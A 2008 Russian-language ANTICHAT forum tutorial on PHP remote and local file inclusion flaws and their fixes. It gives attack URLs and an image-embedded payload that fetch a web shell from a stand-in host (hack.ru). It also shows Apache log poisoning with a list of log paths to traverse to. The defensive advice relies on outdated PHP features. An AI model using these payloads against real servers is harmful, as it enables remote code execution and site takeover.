ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, сейчас доступен на antichat.xyz.
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

PHP-include и способы защиты
  #1  
Старый 14.11.2008, 18:25
_Pantera_
Участник форума
Регистрация: 06.10.2006
Сообщений: 226
Провел на форуме:
3025546

Репутация: 1327
Отправить сообщение для _Pantera_ с помощью ICQ
По умолчанию PHP-include и способы защиты

Введение


Всем привет! В этой статье я постараюсь рассказать все о php-include, собрав все что мне известно в одну статью. Буду рад любой критике, а также постараюсь дорабатывать со временем данную статью!




Глобальный инклуд


Наиболее опасная из уязвимостей веба, но к сожалению, или к счастью встречается в наше время крайне редко. Для атаки необходимо, что б функция allow_url_include была включена, тоесть On
Уязвимость позволяет злоумышленнику выполнить на сервере произвольный php код.
В PHP существуют четыре функции для включения файлов в сценарии PHP:

* include();
* include_once();
* require();
* require_once().


Функция include() включает содержимое файла в сценарий. Рассмотрим пример "дважды" уязвимого кода:
PHP код:
<?php
    
if($_GET['page'].'.php')
    {
         include(
$_GET['page'].'.php');
    }
    else
    {
         include(
$file.'.php');
    }
?>
С помощью условия мы проверяем, если через url на сервер передается элемент массива $_GET['page'], то вызываем функцию include(). Из-за того, что значение массива $_GET['page'] не проверяется на существование, с помощью функции file_exists() злоумышленник может провести атаку:

Код:
http://site.ru/index.php?page=http://hack.ru/shell
В ином случае мы инклудим include($file.'.php'); Тут таже ситуация, просто запись кода немного другая. Переменная $file не
была определенна раннее и злоумышленник может выполнить удаленно php код:

Код:
http://site.ru/index.php?file=http://hack.ru/shell
Функция include_once() практически не отличается от include(), за одним исключением: прежде чем включать файл в программу,
она проверяет, не был ли он включен ранее. Если файл уже был включен, вызов include_once() игнорируется, а если нет -
происходит стандартное включение файла.
PHP код:
<?php
    
include_once($file.'.gif');
?>
В этом примере к подгружаемому файлу автоматически приписывается расширение '.gif'
Избавиться от расширения '.gif' можно двумя способами:
1) если magic_quotes_gpc = Off то можно использовать "ядовитый ноль" - %00 который отрежит расширение
Код:
http://site.ru/index.php?file=http://hack.ru/shell.php%00
2) даже если magic_quotes_gpc = On
Код:
http://site.ru/index.php?file=http://hack.ru/shell.php?

Функция require() аналогична include(), за исключением одного - файл, определяемый параметром require(), включается в
сценарий независимо от местонахождения require() в сценарии.
PHP код:
<?php
    
require($file);
?>
Атака аналогична, но в этом случае расширение не приписывается:
Код:
http://site.ru/index.php?page=http://hack.ru/shell.php

Функция require_once() загружает файл в сценарий всего один раз.
PHP код:
<?php
    
require_once($file.'.php');
?>
Атака аналогична...




Теперь рассмотрим другой вариант инклуда. На этот раз необходимо, что б в файле php.ini
значение параметра allow_url_fopen было равно On, что и есть по умолчанию.

PHP код:
<?php
    $f
=fopen("$file.php","r");
    
    while (!
feof($f))
    {
        
$s=fgets($f,255);
        echo 
$s;
    }
    
    
fclose($f);
?>
Из-за того что переменная $file не была определена ранее, злоумышленник может произвести атаку:

Код:
http://site.ru/index.php?file=http://hack.ru/shell
В итоге опять получаем веб-шелл.



Следующий пример - использование функции readfile()

PHP код:
<?php
    readfile
($file); 
?>
Функция readfile() считывает файл, имя которого передано ей в качестве параметра, и выводит его содержимое на экран.
В итоге опять получаем веб-шелл:

Код:
http://site.ru/index.php?file=http://hack.ru/shell

Теперь рассмотрим такой вариант:

PHP код:
<?php  
    
echo implode(""file($file));
?>
С помощью функции implode() мы объединяем элементы массива в строку, а с помощью функции file() получаем содержимое файла в виде массива. В итоге опять имеем веб-шелл:
Код:
http://site.ru/index.php?file=http://hack.ru/shell.php


Защита от глобальный инклудов

Конечно можно проверять файл на существование с помощью функции file_exists() и отфильтровывать нежелательные символы с помощью str_replace(), но я рекомендую использовать конструкцию switch case:

PHP код:
<?php

    
global $page;

    switch (
$page
    {
        case 
'':
        include (
"pages/main.php");
        break;
    
        case 
'index':
        include (
"pages/main.php");
        break;

        case 
'page1':
        include (
"pages/folder/page1.php");
        break;

        case 
'page2':
        include (
"pages/folder/page2.php");
        break;
    
        default:
        include (
"pages/hack.php");
        break;
    }

?>
Так же рекомендую отредактировать файл php.ini:

Цитата:
allow_url_include = Off //запрещаем удаленно инклудить файлы
allow_url_fopen = Off //запрещаем fopen открывать ссылки
register_globals = Off //отключим инициализацию глобальных переменных
safe_mode = On //включаем safe_mode (у хеккера не будет доступа к /etc/passwd и ему подобным)


Локальный инклуд

Не менее опасная уязвимость в вебе. Позволяет злоумышленнику инклудить файлы лежащие на сервере. Многие новички сталкиваясь с данной ошибкой веб-кодинга бросают дело, т.к не знают как действовать дальше и в какую сторону копать. Я приведу общий пример:

PHP код:
<?php
    
include("include/$file"); 
?>
Глобально проинклудить не получиться, т.к переменная $file приписывается после каталога /include/
Что же можно сделать?

Идеальным считается тот случай, когда на сайте стоит или форум или иная форма, с помощью которой можно загрузить любой файл c любым расширением.
Возникает вопрос - а почему с любым расширением? Возьмем к примеру вымышленный сайт на котором есть возможность загрузки аватарки через форум. На форуме стоит скрипт, который проверяет - действительно ли пользователь загрузил фотографию? Открываем paint и сохраняем любое изображение к примеру в формате jpg. После чего открываем его блокнотом и после кода изображения пишем <?php include("http://hack.ru/shell.php"); ?> В итоге получаем примерно такую картину:

Цитата:
яШяа JFIF  ` ` яЫ C  

 $.' ",#(7),01444'9=82<.342яЫ C 

2!!222222222222222222222222222222222222222222222 22222яА  6 6" яД   
яД µ  } !1AQa"q2Ѓ‘Ў#B±БRСр$3br‚
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ѓ„…†‡?‰Љ’“”•–—˜™љўЈ¤ Ґ¦§Ё©ЄІіґµ¶·ё№єВГДЕЖЗИЙК УФХЦЧШЩЪбвгдежзийкстуфхц шщъяД   
яД µ  w !1AQaq"2ЃB‘Ў±Б #3RрbrС
$4б%с&'()*56789:CDEFGHIJSTUVWXYZcdefghijstu vwxyz‚ѓ„…†‡?‰Љ’“”•–—˜™ љўЈ¤Ґ¦§Ё©ЄІіґµ¶·ё№єВГДЕЖ ИЙКТУФХЦЧШЩЪвгдежзийктуф цчшщъяЪ   ? чъ(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ?яЩ
<?php include("http://hack.ru/shell.php"); ?>
Теперь такую картинку можно загрузить на форум и она будет воспринята именно как картинка
Вернемся к вопросу о расширении. Почему нам подойдет любое? Дело в том, что функция include()
загружает код из одного файла в исполняемый файл. Вот пример:

Код:
http://www.site.com/index.php?include=../forum/images/shell.jpg
В результате, в файле index.php выполняется код <?php include("http://hack.ru/shell.php"); ?>



Логи апатча

Как известно apache ведет лог-файлы httpd-access.log и httpd-error.log и все запросы
естественно логируются и пишутся в соответствующие файлы. Вот примерное их расположение:

Цитата:
/logs/error.log
/logs/access.log
/logs/error_log
/logs/access_log

/var/log/error_log
/var/log/access_log
/var/log/error.log
/var/log/access.log

/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log

/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log

/var/log/httpd/error.log
/var/log/httpd/access.log
/var/log/httpd/error_log
/var/log/httpd/access_log

/apache/logs/error.log
/apache/logs/access.log
/apache/logs/error_log
/apache/logs/access_log

/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log

/home/www/logs/error_log
/home/www/logs/error.log
/home/www/logs/access_log
/home/www/logs/access.log
Я же приведу пример на локалхосте, думаю многим понятнее будет. С помощью программы InetCrack я отправляю пакет такого содержания:

Цитата:
GET /index.php/<?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
Host: localhost
User-Agent: google/bot
Keep-Alive: 300
Connection: keep-alive
Referer: http://127.0.0.1/
Content-Type: application/x-www-form-urlencoded
Content-Length: 104
Заголовок пакета записывается в логи апатча, расположенные по адресу:
Код:
Z:\usr\local\apache\logs\access.log
Тоесть в этот файлик записывается вот такая строчка:

Цитата:
127.0.0.1 - - [14/Nov/2008:15:40:43 +0200] "GET /index.php/<?php include("http://hack.ru/shell.php"); ?> HTTP/1.1" 400 414
Думаю суть понятна. Нам остается его проинклудить:

Код:
http://localhost/1.php?file=../../../../usr/local/apache/logs/access.log
И получить веб-шелл




Защита от локальных инклудов


Вот небольшой примерчик, как можно надежно защититься:
PHP код:
<?php


    
function stripslashes_for_array(&$array
    {
        
reset($array);    
        while (list(
$key$val) = each($array)) 
        {
            if (
is_string($val)) $array[$key] = stripslashes($val);
            elseif (
is_array($val)) $array[$key] = stripslashes_for_array($val); 
        }
    return 
$array;
    }  

    if (!
get_magic_quotes_gpc())
    {
            
stripslashes_for_array($_POST);
            
stripslashes_for_array($_GET);
    }

    if(isset(
$_GET['file']))$file=$_GET['file']; 
    else 
    { 
        if(isset(
$_POST['file']))$file=$_POST['file']; 
        else 
$file=''
    } 

    
$file=str_replace('/','',$file); 
    
$file=str_replace('.','',$file); 
    if(!
file_exists("include".'/'.$file.'.php')||$file=='index'
    {
        
$file='news';
    }
    
    include(
"include".'/'.$file.'.php');
    
?>
И так, что тут происходит? Каждый элемент массива проверяется функцией stripslashes(). Она убивает бэкслеши. Далее проверяем установлено или нет значение элемента массива. Отфильтровуем недопустимые символы('/', '.') функцией str_replace(). Если файла не существует (проверяем с помощью функции file_exists()) - присваиваем значение переменной $file='news'. В остальных случаях(когда файл существует) инклудим его.

***************************************

PS Все что описано в статье я проверял на локалхосте. Надеюсь каждый из нее черпанет чего-нибудь новенького и интересного. Спасибо за внимание

Последний раз редактировалось _Pantera_; 16.11.2008 в 22:38..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP, PERL, MySQL, JavaScript 186 21.02.2010 02:41
Local include && PHP baz1k Чужие Статьи 0 10.01.2008 04:50
Что такое Php? PAPA212 Болталка 13 28.12.2007 20:44
Безопасность в Php, Часть Iii k00p3r Чужие Статьи 0 11.07.2005 19:02
Защищаем Php. Шаг за шагом. k00p3r Чужие Статьи 0 13.06.2005 11:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ